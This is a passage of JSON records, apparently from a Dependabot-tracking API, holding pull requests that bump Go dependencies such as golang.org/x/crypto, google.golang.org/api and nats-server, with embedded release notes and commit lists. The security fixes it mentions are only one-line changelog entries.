/\u003e\n\nUpdates `golang.org/x/crypto` from 0.49.0 to 0.50.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/03ca0dcccbd37ba6be80adf74dde8d78a4d72817\"\u003e\u003ccode\u003e03ca0dc\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/8400f4a938077a7a7817ab7d163d148e371b320b\"\u003e\u003ccode\u003e8400f4a\u003c/code\u003e\u003c/a\u003e ssh: respect signer's algorithm preference in pickSignatureAlgorithm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/81c6cb34a8fc386ed53293cd79e3c0c232ee7366\"\u003e\u003ccode\u003e81c6cb3\u003c/code\u003e\u003c/a\u003e ssh: swap cbcMinPaddingSize to cbcMinPacketSize to get encLength\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/golang/crypto/compare/v0.49.0...v0.50.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `golang.org/x/text` from 0.35.0 to 0.36.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/text/commit/8577a70117e110160c45f32af0e0df84eef844f7\"\u003e\u003ccode\u003e8577a70\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/golang/text/compare/v0.35.0...v0.36.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `google.golang.org/api` from 0.269.0 to 0.276.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/googleapis/google-api-go-client/releases\"\u003egoogle.golang.org/api's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.276.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.275.0...v0.276.0\"\u003e0.276.0\u003c/a\u003e (2026-04-14)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3561\"\u003e#3561\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/dd3f1bb7976124341e045b9f519d059a3f636ea1\"\u003edd3f1bb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3565\"\u003e#3565\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/7c11b5a39bde8b58642e8e95f067cf6b1592d46c\"\u003e7c11b5a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3566\"\u003e#3566\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/54188cf11d69c99be6b485eb6b92898c233422bd\"\u003e54188cf\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev0.275.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.274.0...v0.275.0\"\u003e0.275.0\u003c/a\u003e (2026-04-07)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3557\"\u003e#3557\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/2b2ef99cb9f245743690a4d26e4fdc65287253e0\"\u003e2b2ef99\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3560\"\u003e#3560\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/9437d4d741a6ae9e1c20a6f727b9c8f64e1bc19e\"\u003e9437d4d\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev0.274.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.273.1...v0.274.0\"\u003e0.274.0\u003c/a\u003e (2026-04-02)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3555\"\u003e#3555\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/0e634ae13e626c6082c534eda8c03d5d3e673605\"\u003e0e634ae\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev0.273.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.273.0...v0.273.1\"\u003e0.273.1\u003c/a\u003e (2026-03-31)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMerge duplicate x-goog-request-params header (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3547\"\u003e#3547\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/2008108eb50215407a945afc2db9c45998c42bbe\"\u003e2008108\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev0.273.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.272.0...v0.273.0\"\u003e0.273.0\u003c/a\u003e (2026-03-23)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3542\"\u003e#3542\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/a4b47110f2ba5bf8bdb32174f26f609615e0e8dc\"\u003ea4b4711\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3546\"\u003e#3546\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/0cacfa8557f0f7d21166c4dfef84f60c6d9f1a49\"\u003e0cacfa8\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev0.272.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.271.0...v0.272.0\"\u003e0.272.0\u003c/a\u003e (2026-03-16)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/googleapis/google-api-go-client/blob/main/CHANGES.md\"\u003egoogle.golang.org/api's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.275.0...v0.276.0\"\u003e0.276.0\u003c/a\u003e (2026-04-14)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3561\"\u003e#3561\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/dd3f1bb7976124341e045b9f519d059a3f636ea1\"\u003edd3f1bb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3565\"\u003e#3565\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/7c11b5a39bde8b58642e8e95f067cf6b1592d46c\"\u003e7c11b5a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3566\"\u003e#3566\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/54188cf11d69c99be6b485eb6b92898c233422bd\"\u003e54188cf\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.274.0...v0.275.0\"\u003e0.275.0\u003c/a\u003e (2026-04-07)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3557\"\u003e#3557\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/2b2ef99cb9f245743690a4d26e4fdc65287253e0\"\u003e2b2ef99\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3560\"\u003e#3560\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client...\n\n_Description has been truncated_","html_url":"https://github.com/mezalabs/meza/pull/190","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mezalabs%2Fmeza/issues/190","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/190/packages"}},{"old_version":"2.12.4","new_version":"2.12.7","update_type":"patch","path":null,"pr_created_at":"2026-04-18T15:02:42.000Z","version_change":"2.12.4 → 2.12.7","issue":{"uuid":"4288363926","node_id":"PR_kwDORK0t587TmWBg","number":15,"state":"open","title":"deps: bump github.com/nats-io/nats-server/v2 from 2.12.4 to 2.12.7","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-18T15:02:42.000Z","updated_at":"2026-04-18T15:02:42.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.4","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.4 to 2.12.7.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.4...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.4\u0026new-version=2.12.7)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/akafred/needy-protoype/pull/15","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/akafred%2Fneedy-protoype/issues/15","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/15/packages"}},{"old_version":"2.12.6","new_version":"2.12.7","update_type":"patch","path":"/transport/nats","pr_created_at":"2026-04-16T07:57:15.000Z","version_change":"2.12.6 → 2.12.7","issue":{"uuid":"4274086378","node_id":"PR_kwDOR-0pzM7S5C-2","number":3,"state":"closed","title":"sec(deps): bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.12.7 in /transport/nats","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":"2026-04-16T20:23:08.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-16T07:57:15.000Z","updated_at":"2026-04-16T20:23:10.000Z","time_to_close":44753,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"sec(deps)","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"}],"path":"/transport/nats","ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.12.7.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and 